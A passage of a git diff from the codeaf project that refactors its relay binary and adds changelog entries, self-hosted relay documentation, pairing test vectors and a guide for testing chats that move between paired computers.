chan struct{} +} + +func (s *firstFrameSink) Write(p []byte) (int, error) { + s.mu.Lock() + defer s.mu.Unlock() + s.text.Write(p) + if strings.Contains(s.text.String(), "frame arrived before sync") { + select { + case s.painted <- struct{}{}: + default: + } + } + return len(p), nil +} diff --git a/cmd/relay/main.go b/cmd/relay/main.go index 02480a7a2a..3bc9e7a780 100644 --- a/cmd/relay/main.go +++ b/cmd/relay/main.go @@ -1,5 +1,6 @@ // Command relay is the codeaf relay: a blind pipe between a machine that runs -// codeaf and a machine somebody is sitting at. +// codeaf and a machine somebody is sitting at, and, given --store, the +// directory and blob store a person's machines share. // // IT IS A SEPARATE BINARY BECAUSE IT IS A SEPARATE THING. Nothing in it imports // the session, the surface, or the wire they speak; it cannot open a frame and @@ -8,66 +9,21 @@ // import away from being able to read what it forwards. // // It is also what internal/pair's own tests drive, which is the other reason it -// exists: the end-to-end story — a machine registering, a device pairing, a -// conversation crossing — is tested against this exact service and not against -// a stub of it. +// exists: the end-to-end story is tested against this exact service and not +// against a stub of it. `codeaf relay` runs the same relayserve.Main. // -// relay --listen :8787 -// -// In front of it in production goes whatever already terminates TLS. The relay -// reads X-Forwarded-For when it is there, so its rate limits count the caller -// and not the load balancer. +// relay --listen :8787 [--store /var/lib/codeaf] package main import ( - "encoding/json" - "flag" "fmt" - "log" - "net/http" "os" - "time" - "github.com/Agent-Field/codeaf/internal/relay" + "github.com/Agent-Field/codeaf/internal/relayserve" ) func main() { - listen := flag.String("listen", ":8787", "address to listen on") - quiet := flag.Bool("quiet", false, "do not log arrivals and departures") - status := flag.Bool("status", true, "answer GET /status with what is connected right now") - flag.Parse() - - service := &relay.Server{} - if !*quiet { - // WHAT A RELAY OPERATOR MAY LOG IS WHAT A RELAY OPERATOR CAN SEE, and - // that is a machine name and a moment. There is no payload to log here - // and no argument in this file that could carry one. - service.Note = func(name, what string) { log.Printf("%s %s", name, what) } - } - - mux := http.NewServeMux() - mux.Handle(relay.EnginePath, service) - mux.Handle(relay.DialPrefix, service) - if *status { - mux.HandleFunc("/status", func(w http.ResponseWriter, r *http.Request) { - w.Header().Set("Content-Type", "application/json") - _ = json.NewEncoder(w).Encode(service.Ledgers()) - }) - } - - server := &http.Server{ - Addr: *listen, - Handler: mux, - // READ AND WRITE TIMEOUTS ARE DELIBERATELY ABSENT. Every connection - // this service accepts is meant to be held open for hours, and a write - // timeout on a hijacked connection is a conversation cut in half. - // The bounds that matter are in the package: a registration must finish - // its handshake within relay.HandshakeWithin, and a carrier that stops - // answering pings is dropped at relay.IdleAfter. - ReadHeaderTimeout: 20 * time.Second, - } - log.Printf("relay on %s, speaking %s", *listen, relay.Protocol) - if err := server.ListenAndServe(); err != nil { + if err := relayserve.Main(os.Args[1:]); err != nil { fmt.Fprintln(os.Stderr, "relay:", err) os.Exit(1) } diff --git a/docs/HEADLESS.md b/docs/HEADLESS.md index ce50bbb598..a9b5320aea 100644 --- a/docs/HEADLESS.md +++ b/docs/HEADLESS.md @@ -16,7 +16,7 @@ schema, and a person needs to know which command actually thinks. ``` codeaf do "" [--dir dir] [--db path] [--keep] [--timeout D] - [--json] [--yes-spend] [--model slug] [--plan-model slug] + [--continue id] [--json] [--yes-spend] [--model slug] [--plan-model slug] [--check-model slug] [--best|--cheap] [--pin seat=model[@provider]] [--context-fill N] [--completion-reserve N] ``` @@ -39,6 +39,7 @@ work done. | `--dir dir` | the current directory | The directory it works in, **edited in place**. Not an output folder — it opens what is there and leaves nothing behind that you did not ask for. `-w` is the shorthand and keeps working forever. | | `--db path` | a private temp store, deleted on exit | Work in this durable store instead. This is how state survives across runs. | | `--keep` | off | Keep the private store instead of deleting it; the path is printed to stderr. | +| `--continue id` | none | Carry on a kept run (one that did not finish, or was kept with `--keep`): `id` is the part of the `record kept at` folder name after `codeaf-do-`, an unambiguous start of it, or the folder path. Words after it are this round's finding; the assignment is unchanged. Works in `--dir`. Run engine only. | | `--timeout D` | `15m` | Hard wall, as a duration with a unit: `5m`, `2h`, `90s`. A bare number is still read as seconds for one release, so `--timeout 900` keeps working. A wall, not a schedule — the length of rope at which a wedged run is more useful dead. | | `--json` | off | Print one machine-readable object instead of the prose deliverable. | | `--yes-spend` | off | Spend past today's limit and past the plan-price question, without stopping to ask. The same flag with the same one sentence on `codeaf plan run`. Equivalent to `CODEAF_PREAUTHORIZE_SPEND=1`. It does not lift the per-task limit (`/crew cap task`, $5 unless set). | diff --git a/docs/changes/unreleased/1888-wormhole-two-computers.md b/docs/changes/unreleased/1888-wormhole-two-computers.md new file mode 100644 index 0000000000..e773280cc5 --- /dev/null +++ b/docs/changes/unreleased/1888-wormhole-two-computers.md @@ -0,0 +1,59 @@ +--- +kind: added +title: paired computers continue the same chat with its workspace and history +pr: 1888 +surface: [chat, engine, remote, build, docs] +invalidates: + - "Every command waited for separate intent, process-group and completion disk flushes. Call records now use ordered writes with a background 250 ms group commit and explicit save/move/exit flushes. Process death retains every written record; machine power loss can lose roughly the last second, and recovery never reruns a lost call. Opening a chat starts its first screened capture early; an immediate command still waits safely if that capture has not finished." + - "A native Windows saved-output notice offered backslashes to Git Bash, which consumed them as escapes. Its exact read-back command now uses shell paths and quoting, including an external scratch folder with spaces or an apostrophe." + - "Attachment references were parsed using the receiving computer's path grammar, which could damage a Windows drive path or respell a Unix origin. Saved references now retain slash paths in their source grammar across a move." + - "Each new chat kept a private copy of the entire workspace, including ignored output. New chats now share one home-level object store with separate timeline heads and private call logs; older private stores stay in place. Untracked Git-ignored output is neither captured nor uploaded. Wholly ignored directories are not screened; ignored secret files in ordinary directories still travel through the vault. The arrival card names the engine's ignored paths." + - "Commands synchronously waited for capture and every capture walked the whole tree again. The secret screen now supplies metadata changes to the engine while preserving full screening; command captures run behind the durable result, with bounded waits before another tool, a move, upload or close." + - "An early bring-work chord claimed no chat existed while presence had arrived before the catalog. It now keeps the request and says the chats are still arriving, then offers confirmation when the list arrives. A recent released chat is also offered on home." + - "C27.4 originally disallowed a local identity on first start. The driver amended it: that local file is allowed, while relay traffic and all sync network use stay absent until pairing is requested." + - "Opening an older chat migrated its files into .cell and made it unreadable to older builds. Existing chats now keep their layout and host execution (C24); only chats started as cells can move." + - "Opening a chat could start disk collection and remove files excluded from its snapshot. Collection is now explicit only (C25), removes only entries checked against a byte-identical restored capture, and lists those paths in --dry-run. The disk budget is the explicit gc default and is hidden where cells are unavailable." + - "Command health checks captured output and could fail after a clean exit when a child held a pipe. They now discard output; fd, PDF and senior-dev search helpers retain their former unbounded drain while other executor bounds stay unchanged." + - "Composer ! commands could leave file changes out of the next snapshot. They now count as unknown workspace changes at the same seal boundary as model bash calls, without changing their model history." + - "Stable device listings recommended pairing that was off, pairing help omitted its enable step, and relay help exited with an error. Device listings now retain the reachable-name and serve route when movement is unavailable; help states actual engine/platform availability and relay help exits successfully. Moving-chat manual sections state rollout and Windows limits, setup instructions describe workspace installation without claiming confinement, and secret notices distinguish local variables from files carried only to paired computers." + - "C9: a first turn with no changed files could seal an unread working-tree secret into its first pack. Every seal now screens the full tree before the engine can fall back to capturing it, including after a restore, arrival or lost path index; the guard ledger spares unchanged clean files from rereading." + - "C6 amended: kept unpublished turns offered only discard despite promising open separately. The card now offers 1 open separately, 2 discard and 3 leave them; opening uses the continuation door with the branch's own journal identity and workspace copy, leaving the main chat unchanged." + - "C7: an older sync service could ignore the expected holder and let two forced continuations succeed. Both services now state that they condition takes, and the client checks the promise before sending a take, cached per service for the run; an old service keeps pairing and reads but asks for an update before chats can move." + - "C3: the removed-device notice was saved in the chat feed but hidden on home. The launch and live standing checks now echo the shared notice on home once, including when removal happened while the window was closed." + - "New chats with cells on were sandboxed, cutting ordinary commands off from the network and writes outside the workspace. New chats now declare host-bound (C23), preserving the host access they have with cells off; existing cells keep their declared class. The manual and setup hint explain ordinary access and the setup approval floor." + - "Every PEM filename was treated as a private key, withholding certificate-only CA bundles such as certifi's cacert.pem. PEM and SSH keys are now recognised by private-key headers, PuTTY keys by their format, and opaque PKCS#12 containers by their suffix; a certificate-only PEM travels unless its install folder is left behind for rebuilding." + - "A moved chat could keep writing to absolute paths from its original computer. The model now receives a session note naming the source device and old and new folders; file tools and shell commands map old path prefixes into the arrived workspace and report the mapping." + - "An arrival card could swallow the first message typed while it was visible. Typing now goes to the message box, and enter with an empty box still answers the card." + - "The Linux jail probe could accept namespace creation while AppArmor denied its helper exec, breaking tool calls on Ubuntu 24.04. The cached probe now launches the exact helper with the jail's namespace attributes and ambient capability. Unavailable confinement keeps the existing network refusal, allows policy-permitted work unconfined, and names reduced limits once in the conversation." + - "Wiring tests depended on the engine artifact staged by a previous build, and unavailable sync could panic while deciding its first-run line. Tests now declare cell availability or explicitly require the real engine; unavailable sync says nothing." + - "Reopening a stale released chat could publish an older tree over newer history, and sealed turns that never uploaded could disappear during take-back. Reopening now stays view-only until normal continuation reconciles it; take-back preserves both sealed unpublished turns and workspace edits as a kept branch." + - "Two forced continuations could both succeed. Updated clients now send the holder and fence shown on the card, and both relays refuse a changed holder with the existing lost-race sentence; omitted expectations retain old-client behavior." + - "Pair approval on a fresh home told the person to pair first, although there was no identity to share. It now asks them to start codeaf here once before approving another device." + - "An attended displaced window could keep sending messages, a moved copy could stay on home, and first launch could wait for relay writes before painting. Windows now follow ownership changes, retain typed words at the continuation question, open the arrived workspace with its banner and setup card, and start sync behind the first screen." + - "Chat-card approval could leave the approving computer absent from the new device's list until a sync tick. Both link-approval doors now publish the approving device before making the grant visible. Copies are filed under their origin and marked as copies even if the origin path exists here; a removed device gets one explanation instead of an empty-list sentence too." + - "A chat belonged to the computer that started it. A paired computer now lists it on home and can continue it with its files, history, saved tool output and task records; the previous window becomes view-only and unsent turns survive as a branch." + - "Moving chats required CODEAF_CELLS=1 on every build. It is now available by default on Linux and macOS on dev, staging, source, rc and stable; the switch is gone and its former values change nothing. New chats stay host-bound, existing chats keep their layout, and an unpaired home sends no relay requests. Native Windows also moves chats with its compatible engine; Git for Windows supplies its shell. A missing compatible engine leaves movement absent. Names Windows refuses are reported as not brought along, with their reasons, and symlink creation needs Developer Mode or permission to create links." + - "Opening the add-device instructions woke sync for good, though nothing was paired. A new home now sends no relay requests until it completes a pairing or offers a pairing code; showing a code uses the relay even if nobody joins, and a new device's codeaf pair contacts the relay to offer its link but syncs chats only after approval. Opening or closing the instructions, listing devices, showing or exporting an identity, declining and a failed approval leave it quiet. An identity made by an older build without the quiet marker keeps its earlier behaviour; CODEAF_SYNC_URL=off stops relay traffic there too." + - "Secret files were kept out of the workspace copy by reading only their first MiB, and nothing said what happened to git history. The guard now reads every working file whole; a working file it recognises as holding a secret is kept out of the capture and travels only through the encrypted vault between paired devices. Git history, branches, settings and task commits travel as they are, sealed end to end to your own paired devices, even when an old commit holds a key: the relay sees ciphertext, and a key committed earlier stays readable in that history on those devices." + - "Sync needed a relay setting. A paired computer now uses the relay saved by pairing or the hosted default. CODEAF_SYNC_URL=off sends nothing, including through clients opened before it was read, and pairing --via cannot override it; CODEAF_SYNC_URL= sends relay traffic only to that address, such as a self-hosted codeaf relay; local saved turns remain available with relay traffic stopped." + - "Adding a computer meant typing a six-digit code. A new computer can now run codeaf pair and show a link and four-digit check for explicit approval from an existing device; /pair and codeaf pair --code keep the code-and-three-words route." + - "Devices appeared only after a later chat start and used the hostname alone. Pairing now writes each side's own device record immediately; --name, codeaf devices rename and n in /devices name this computer, and revoke removes another computer's relay access." + - "A stopped or disconnected computer could look online for minutes. The live device list now marks it offline after 25 seconds of silence, within 30 seconds, and updates when it answers again." + - "Continuing a chat could open a half-arrived copy and label its project as a copy here. An arriving chat now waits until the move completes, then opens itself; a project absent on this computer is labelled copy from another machine." + - "Task journals were capped like job logs and the task working copy carried codeaf's own logs as edits. Journals now move whole, task history is rebuilt, and codeaf's working-copy logs stay behind; job logs and saved tool output keep the 1 MiB per file and 16 MiB combined caps." + - "A pairing panel swallowed mouse selection and replacement was terminal-only. The panel now copies a selected code or c copies it alone, and /pair --replace asks explicitly before replacing local chats." + - "The architecture map needed a separate app. codeaf atlas and /atlas now share a named map registry, picker, draggable diagram and step-through flows, with every mark drawn through the terminal's shared glyph repertoire." + - "A self-hosted Mac relay flushed every frame pointer separately. It now commits a frame as one durability batch; the other platforms keep their existing flush paths." + - "A reused pairing nameplate could answer a previous pairing's client. Both relays now return a random mailbox generation and refuse a client carrying an earlier opening; clients without the optional header still work, and hosted nameplates also wait one mailbox lifetime before reuse." + - "The hosted relay counted 20 new identities per whole IP address each day and stored ciphertext without a deployment-wide brake. It now allows 200 per IPv4 address or IPv6 /64, returns Retry-After, and adds operator-controlled daily global admission and total-storage ceilings while preserving existing reads and owner erasure." + - "A wrong or expired pairing code could leave the joining computer waiting silently. It now ends with a sentence asking for a fresh code, or saying that the other device stopped pairing." + - "Tests could leave engine daemons alive and pass their starter's open descriptors to them. Test binaries now stop their daemons, a crashed test's daemon has a one-minute idle limit, and engine processes inherit only their standard streams." + - "Restoring a withheld file could follow a parent link outside the workspace. Vault file operations now resolve under opened directory handles, so replacing a parent name cannot redirect them into outside files." + - "Release packaging could embed an engine without the exchange verbs. A timeline capability probe now leaves cells absent for an incapable engine, and a missing release artifact fails the build. Native Windows candidates can be embedded explicitly; the driver adds real Windows v0.2.0 release hashes after that tag exists." +--- + +Pair only computers you trust: they receive your shared identity and sealed vault. +Revoking a lost computer cannot take back its downloaded chats or keys; identity +rotation reseals the chats under a replacement and retires the relay's old copy. +The hosted worker's tests isolate local state from the caller's home. Its staging-first +operator runbook is relay/hosted/DEPLOY.md; deployment is performed by the owner. diff --git a/docs/changes/unreleased/1909-windows-git-bash.md b/docs/changes/unreleased/1909-windows-git-bash.md new file mode 100644 index 0000000000..b99e240407 --- /dev/null +++ b/docs/changes/unreleased/1909-windows-git-bash.md @@ -0,0 +1,12 @@ +--- +kind: fixed +title: Run native Windows commands in Git Bash +pr: 1909 +surface: [chat, engine] +invalidates: + - "Native Windows commands previously selected the WSL launcher and parsed variables a second time in Linux. Native commands now select Git Bash, preserve shell variables and Windows file access, and omit the shell tool when no usable bash is installed." + - "Git Bash background jobs and detached services inherited append-only stdout handles and could exit silently. Windows logs now open writable at their end; Unix append flags and command arguments stay unchanged." + - "The Windows SQLite URI fix already covered graph, workspace and automation stores, but plan writers and spending readers still built raw file URIs. They share the existing formatter on Windows. The integrated plan-store fix keeps readers at the writer's literal filesystem address on Unix too, including percent and fragment characters." +--- + +Install Git for Windows to run commands with the native Windows build, or choose an MSYS2 bash with CODEAF_BASH. Running the Linux build inside WSL continues to use Linux bash. The manual and project facts explain the shell requirement and Windows drive paths. diff --git a/docs/design/icons/DESIGN.md b/docs/design/icons/DESIGN.md index 67dd522836..ca2292d5a4 100644 --- a/docs/design/icons/DESIGN.md +++ b/docs/design/icons/DESIGN.md @@ -7,11 +7,11 @@ a mark. **Scope: every surface package.** `internal/tui3` (the live chat), `internal/tui` (v1, and the visual north star), `internal/head` and -`internal/resident` (the resident). It landed covering `internal/tui3` alone, +`internal/resident` (the resident), and `internal/atlas` (the architecture map). It landed covering `internal/tui3` alone, which left the other three free to spell marks for themselves — and v1 did, with its own dotted circle for work waiting on a sibling, its own cross for failure, and its own flag for work waiting on a PERSON, which is the character this table -keeps for the other kind of waiting. `internal/iconlaw` walks all four on one +keeps for the other kind of waiting. `internal/iconlaw` walks these surfaces on one list now, and a fifth surface joins the law by being added to that list. ## The law @@ -64,6 +64,7 @@ list now, and a fifth surface joins the law by being added to that list. | --- | --- | --- | --- | | `internal/tui3` | `app.iconSet` | `palette.glyph`, `app.icon` | `newApp` | | `internal/tui` | `Model.iconSet` (icons.go) | `Model.icon` | `RunWithCommander` | + | `internal/atlas` | enclosing chat's tier, or `terminalGlyphs` standalone | `Model.icon` / `Model.mark` | `RunMap` for a standalone terminal | v3's ASCII tier is `palette.ascii`'s answer, set by the linear screen-reader option; v1 has no linear option, so it resolves `Plain` or `NerdFont` and the @@ -188,6 +189,16 @@ line, the spawn tree, the gauges, the prose slots — is in `internal/tui2/tokens/nerdfont.go`, one binding each, with its argument at its own binding. +The atlas resolves its title, flow steps, playback marks, navigation and edge +arrowheads through that vocabulary too. `GMapLeft`, `GMapUp` and `GMapDown` +complete the existing right-caret slot (`GQueuePill`): their plain spellings are +`◀`, `▲`, `▼`, their rich spellings are Font Awesome 4 caret-left/up/down, and +their ASCII spellings are `<`, `^`, `v`. The shared rounded frame supplies its +boxes and turns; selection changes weight. `/atlas` uses the chat's Display and +linear choices; standalone `codeaf atlas` folds the Display choice over the same +terminal detection. `internal/iconlaw` includes the atlas and rejects its own +spellings of semantic slots, including the diamond, circles and arrowheads. + The prompt family is four slots: the questions wave (`docs/design/questions/DESIGN.md`) made it three, because an exchange has two voices in it, and the queue made it four on 2026-09-30: diff --git a/docs/relay.md b/docs/relay.md new file mode 100644 index 0000000000..eb30455dbc --- /dev/null +++ b/docs/relay.md @@ -0,0 +1,64 @@ +# Running your own relay + +The relay is the service your computers sync and pair through. It stores ciphertext and +sees the short list of metadata in the manual page "What the relay stores and what it can +see". This page is for the person who runs one. + +## Run + +``` +codeaf relay --listen :8787 --store /var/lib/codeaf +``` + +`relay --listen :8787 --store /var/lib/codeaf` (the separate `relay` binary) is the same program. + +| Flag | Meaning | +|---|---| +| `--listen` | address to listen on, default `:8787` | +| `--store ` | where the directory and the chunks live. Empty runs the blind pipe and pairing only: no chats are kept | +| `--quiet` | no log lines | +| `--status=false` | do not answer `GET /status` | +| `--trust-proxy` | count the first `X-Forwarded-For` address as the caller's network in the pairing limits. Only behind a proxy that sets it | + +Point each computer at it with `CODEAF_SYNC_URL=https://relay.example.com`, or pass +`--relay` to `codeaf pair`. + +The relay has no TLS and no allow-list. Put a TLS-terminating proxy in front of it, and keep +it on a private network or behind a proxy that checks who calls: any valid signature may make +an identity and store on it. It has no quota of its own, so the disk is the limit. + +It logs the first 8 characters of an identity id, the kind of request, the status and two +byte counts. Never a body. + +## Back up + +Everything is under `--store`: + +- `directory/.db`: one SQLite file for each identity (chat records, device records, leases); +- `blobs//`: that identity's chunks and the pointers that find an object inside one. + +Stop the relay (SIGTERM; requests under way finish) and copy the whole folder, or copy a +filesystem snapshot. Copying the `.db` files while the relay runs can give a torn copy. +Restore by putting the folder back +and starting the relay. A restore to an older copy loses turns sent after it; a computer that +still holds them sends them again at its next sync (not tested here). + +The relay cannot decrypt what it keeps, so its backup is ciphertext too. It holds no key that +could recover a lost identity. + +## Upgrade + +Stop it, replace the `codeaf` binary, start it with the same `--store`. There is no migration command, and this page does not promise that every version reads an older store: back up first. A client newer than the +relay by a pairing change sees `that relay is too old for pairing`. + +## The hosted relay + +`relay/hosted/` is the same relay as a Cloudflare Worker with Durable Objects and R2, with +per-identity limits (5 GiB, rate limits, a daily cap on new identities per network, set in `relay/hosted/src/limits.js`). Its own +README says how to deploy it to an account. Nothing in this repository deploys it. + +codeaf's own deployment is called the fabric and is served at `https://codeaf.agentfield.ai/fabric`, +the address every computer syncs through when nobody names another. It sees only ciphertext, the +time and size of each request, and the network address of each computer; it keeps no request log. +The address has a path, and every client keeps it. `codeaf relay` (this page) always serves from +the root of its host; behind your own proxy, pass the path through unchanged. diff --git a/docs/remote-access-design.md b/docs/remote-access-design.md index eabc18ce1f..f88bba7d58 100644 --- a/docs/remote-access-design.md +++ b/docs/remote-access-design.md @@ -185,7 +185,7 @@ This is the "hosted proxy on the codeaf website" idea, done with the relay **bli ``` big-machine$ codeaf serve this machine is reachable as otter-lamp-42 - pair a new device with code 715 302 (valid 10 minutes) + let a device use this machine with code 42-715-302 (valid 10 minutes) laptop$ codeaf chat --at otter-lamp-42 pairing with otter-lamp-42 — enter the code shown there: ______ diff --git a/docs/remote-access-testing.md b/docs/remote-access-testing.md index c3d3fc1176..dd1e5064e5 100644 --- a/docs/remote-access-testing.md +++ b/docs/remote-access-testing.md @@ -406,7 +406,7 @@ codeaf serve # on the engine machine ``` this machine is reachable as otter-lamp-42 - pair a new device with code 715 302 (valid 10 minutes) + let a device use this machine with code 42-715-302 (valid 10 minutes) ``` Then from the other machine, `codeaf chat --at otter-lamp-42` walks the pairing: diff --git a/docs/testdata/ux-pairing-vectors.json b/docs/testdata/ux-pairing-vectors.json new file mode 100644 index 0000000000..6f32740d0c --- /dev/null +++ b/docs/testdata/ux-pairing-vectors.json @@ -0,0 +1,15 @@ +{ + "request_pending": {"code":"k7m2q9xd","device":"dev_3Fq9","pubkey":"AAAA","x25519":"BBBB","name_sealed":"CCCC","platform":"linux","check":"4821","requested_at":1790000000000,"expires_at":1790000600000,"state":"pending","grant":null}, + "create_answer": {"code":"k7m2q9xd","device":"dev_3Fq9","check":"4821","requested_at":1790000000000,"expires_at":1790000600000}, + "device_legacy": {"V":1,"name":"bg==","added_by":"id_x","revoked":false,"caps":{"os":"linux","arch":"arm64","sandbox":null,"container":null,"gpu":null,"cow":"none"}}, + "device_new": {"V":1,"name":"bg==","added_by":"id_x","revoked":false,"caps":{"os":"linux","arch":"arm64","sandbox":null,"container":null,"gpu":null,"cow":"none"},"platform":"linux","created":1790000123456,"last_seen":1790000999000}, + "presence_list": {"now":1790000001000,"devices":{"dev_A":{"online":true,"last_seen":1790000001000},"dev_B":{"online":false,"last_seen":1789999000000}}}, + "frames": [ + {"v":42}, + {"t":"joined","device":"dev_B","name":"bg==","platform":"linux","at":1790000123456}, + {"t":"presence","device":"dev_B","online":true,"at":1790000123999}, + {"t":"presence","device":"dev_B","online":false,"at":1790000555000}, + {"t":"revoked","device":"dev_B","at":1790000700000} + ], + "error": {"err":"already_decided"} +} diff --git a/docs/testing-anywhere.md b/docs/testing-anywhere.md new file mode 100644 index 0000000000..862cf7c55e --- /dev/null +++ b/docs/testing-anywhere.md @@ -0,0 +1,278 @@ +# Testing a chat that moves between computers + +This page says how to test every path a chat takes between two computers, from the +fastest check to a walk by hand. Run the sections in order. Each one costs more than the +one before it and proves more. + +Moving chats is off on every build unless `CODEAF_CELLS=1` is set when codeaf starts +on both computers. Add `export CODEAF_CELLS=1` to each shell profile to keep it on; +unset, `0` or any other value leaves it off. It needs a compatible configured or embedded +furrow engine and Unix; Windows users run codeaf in WSL. + +Settings. Every script that names a machine, a folder or a relay reads it from an +environment variable (through `scripts/measure/rigenv.py`) and stops with a message that +names the variable when one is missing. Nothing is edited in a script. Export these once: + +| Variable | Meaning | Default | +|---|---|---| +| `CODEAF_RELAY` | the relay under test: a hosted one (`https://...`) or your own (`codeaf relay`, see [relay.md](relay.md)) | none | +| `CODEAF_SECOND_HOST` | the second machine, reachable with `ssh $CODEAF_SECOND_HOST` and no password prompt; a Mac or a Linux box | none | +| `CODEAF_SECOND_ROOT` | an absolute folder on the second machine that a rig may fill and wipe | none | +| `CODEAF_FIRST_ROOT` | the same on this machine | `~/caf-rig` | +| `CODEAF_CORPUS` | a folder holding the corpus repos `r18-pareto-c365`, `r02-mj-base`, `r06-agentfield` | none | +| `CODEAF_RIG_BIN` | a folder holding the built `codeaf`, `codeaf-vd` and `s1probe` | none | +| `CODEAF_EVIDENCE` | where `hosted-validate.py` writes its result folders | `~/caf-evidence` | + +Other names read by one rig: `CODEAF_SRC` and `BENCH_BUILD` (`bench-move.sh`: the checkout to +build, where it builds), `CONT_PORT` and `CONT_SUFFIX` (`continuity.py`: a dev-server port and a +tmux name, so two rigs can run side by side), `FID_REUSE` and `FID_PLAIN` (`fidelity.py`: keep the +pairing between runs; build the older fixture), `BILL_DOC` (`relay-bill.sh`: the decision +document it rewrites). + +Anything that calls a model uses `deepseek/deepseek-v4.1-flash` for every role. The key must +already be in your login environment; none of these scripts print it. + +## What each test proves + +| Test | Proves | Runtime | +|---|---|---| +| `make test-quick` | the tree builds, is formatted, passes the laws and the manual gates | a few minutes | +| `go test` on the sync packages | seal, upload, fetch, take, pairing and the setup flow work in process | under 5 minutes | +| `relay/hosted` `npm test` | the hosted relay's units: store, directory, leases, pairing, watch | under 2 minutes | +| `TestPairJourney` | a person can pair two homes and move a chat, by keystrokes in a real terminal | about 2 minutes | +| `scripts/relay-conformance.sh` | both relays (Go and hosted) obey the same contract | about 10 minutes (about 3 with `SKIP_E2E=1`) | +| `scripts/durability-hosted.sh` | nothing a chat completed is lost when its machine dies | about 20 minutes | +| `scripts/hosted-validate.py` | the whole loop on two real machines: pair, work, move, take back, resume card, integrity | about 30 to 60 minutes a pass | +| `scripts/continuity.py` | the chat on the other machine carries all the work, so the agent continues and does not redo it | about 20 minutes a run | +| `scripts/fidelity.py` | a folder arrives byte for byte, awkward cases included | about 10 minutes | +| `scripts/bench-move.sh` | what a cold take, warm take, take back and publish cost in time, requests and dollars | tens of minutes to hours by size | + +## 1. Fast local gates + +From the repository root, after `make build`: + +```sh +make test-quick +go test -count=1 ./internal/cellsync/ ./internal/handoff/ ./internal/pair/ \ + ./internal/syncsetup/ ./internal/cellstore/ ./cmd/codeaf/ +(cd relay/hosted && npm ci && npm test) +``` + +Some tests need the real engine (`furrow`), which `make build` makes. Without it they skip +with the words `no engine binary`; a skip is not a pass. Run them with the tag: + +```sh +go test -count=1 -tags engine ./internal/cellsync/ ./internal/cellstore/ ./internal/syncsetup/ +``` + +Pass: every package says `ok`, no `engine` test skips. + +## 2. Two homes on one machine, with the Go relay + +Two state roots on one machine are two computers as far as the product can tell. + +**Pairing and moving, driven by keystrokes.** `internal/e2e/pairjourney_e2e_test.go` starts +the Go relay, two homes and the real binary in tmux. It needs `tmux` and `go`: + +```sh +make build +go test -tags e2e -count=1 -v -timeout 10m -run '^TestPairJourney$' ./internal/e2e/ +``` + +Set `UX_SEGMENT=A` to stop after the approval and run only the fresh-install check. Per-step +times and verdicts go to `$UX_EVIDENCE` (default `~/ux-evidence/e2e-run.json`). +Pass: every step prints its screen and the test ends `ok`. The journey budget is two minutes. + +**Durability, against the Go relay or any other.** The same tests as section 3 run against +`$CODEAF_RELAY`, the same variable every script reads, with no default; a run with it unset stops +(the Go suite skips) and names it. Point it at your own relay to keep the load off a hosted one: + +```sh +CODEAF_RELAY=https://relay.example.com scripts/durability-hosted.sh KillAfterLoneCall +``` + +The name after the script picks one test (`KillAfterLoneCall`, `KillAfterBurst`, +`KillAfterTurnEnds`, `KillAfterLaterLoneCall`, `KillDuringCall`, `NetworkCutThenKill`, +`LidClose`, `FirstCallKillRate`). Without a name it runs them all. Each prints one `DURABILITY` +line, `PASS`, `FAIL` (work missing on the other machine) or `FAIL-RECORD` (the work arrived, +its transcript line did not), or `UNREACHABLE` (work is missing, but the kill came sooner after the +call than the relay takes to store a frame, which the run measures with three probe puts and prints +as `relayAckFloor`; nothing could have been durable yet, so it does not fail the run). It uses a +scripted model, so it makes no model calls. + +**Real engine round trips, in process.** +`go test -tags engine ./internal/cellsync/ ./internal/cellstore/ ./internal/syncsetup/` +(section 1) covers dedup, held moves and the setup round trip on the real engine. + +**The old single-box remote check.** `make test-remote` (tag `docker_e2e`) runs +`TestRemoteTwoMachines`; it needs docker. + +## 3. Two real machines against the hosted relay + +You need a Linux and a Mac, the second reachable as `$CODEAF_SECOND_HOST`. Build `bin/codeaf` and the +engine on both machines from the same commit (`make build`; on the Mac, `export +PATH=/opt/homebrew/bin:$PATH` first). A copied binary is killed by macOS until it is signed: +`codesign -s - -f `. + +Furrow source lives in [Agent-Field/furrow](https://github.com/Agent-Field/furrow). +Normal builds fetch the release pinned in `internal/furrowbin/pin.json`. +For an unreleased engine, use `make build FURROW_SOURCE=/path/to/furrow`. +For a cross-build, build furrow for the destination platform in that external checkout +first (for Linux, in a Linux container), then pass its binary as +`GOOS=linux GOARCH=arm64 make build FURROW_ARTIFACT=/path/to/furrow-linux-arm64`. +The source and artifact roads deliberately override the pin. Runtime checks the actual +exchange verbs and changed-path sealing flags once; an older engine leaves chat movement +absent and says `moving chats needs a newer furrow engine than this build carries`. + +Export the settings above first; each script's docstring says which of them it reads and the +layout it expects under the roots. Run `--help` on any of them to see the options. + +The relay under test is whatever `CODEAF_RELAY` says; the rigs put it into each home as +`CODEAF_SYNC_URL`, which is the variable the product itself reads. + +**The whole loop.** + +```sh +python3 scripts/hosted-validate.py 1 # pass 1: pair, work, move, take back, integrity +python3 scripts/hosted-validate.py 2 --card-test 6 # six cold takes of small chats, counting resume cards +python3 scripts/hosted-validate.py 1 --resume # redo push and integrity on a pass's saved state +``` + +It writes raw files and `results.json` under `/pass/`; `--out` picks the folder. +It makes real model calls and takes a lock on the Mac (`~/caf-bench.lock`) because it times +things. Helpers are in `scripts/measure/hosted/`: `setup.sh` (a clean rig home on one +machine), `tuidrive.py` (types into and reads the terminal), `cellread.py`, `treehash.py`, +`durable.py`, `clockoff.py` (the clock difference between the machines) and `report.py` (a +table of pass results). + +**Continuity of a move.** Does the other machine carry all of the work? + +```sh +python3 scripts/continuity.py pair # once: pair the two homes +python3 scripts/continuity.py cold # a fresh machine takes a finished session +python3 scripts/continuity.py warm # a machine with an older copy takes again +python3 scripts/measure/continuity/report.py +``` + +`pair` uses one pairing from the relay's budget (see the limits below). The checks live in +`scripts/measure/continuity/check.py`; `rig.sh ` makes a clean home pinned to the one +model. + +**Folder fidelity, with the awkward cases.** + +```sh +python3 scripts/fidelity.py run # build the fixture, move it there, change it, move it back +python3 scripts/fidelity.py probes # the single awkward cases, one at a time +``` + +The fixture (`scripts/measure/continuity/fidelity-fixture.sh`, about 350 MiB) holds a full +`.git` with a stash and a submodule, empty directories, a path over 200 characters, names in +different Unicode forms, names that differ only in case, big binaries, every kind of symlink, +a hard-linked pair, odd file modes and secret files. `fidelity-manifest.py` reads the tree on +each machine and `fidelity-compare.py` compares them. The move uses a private take program +(`scripts/measure/hosted/vdemotake.go.txt`, built as `vdemo-take`), because the home screen +has no door for a chat the machine already lists. Pass: every row PASS except the known case +below. + +**What it costs.** + 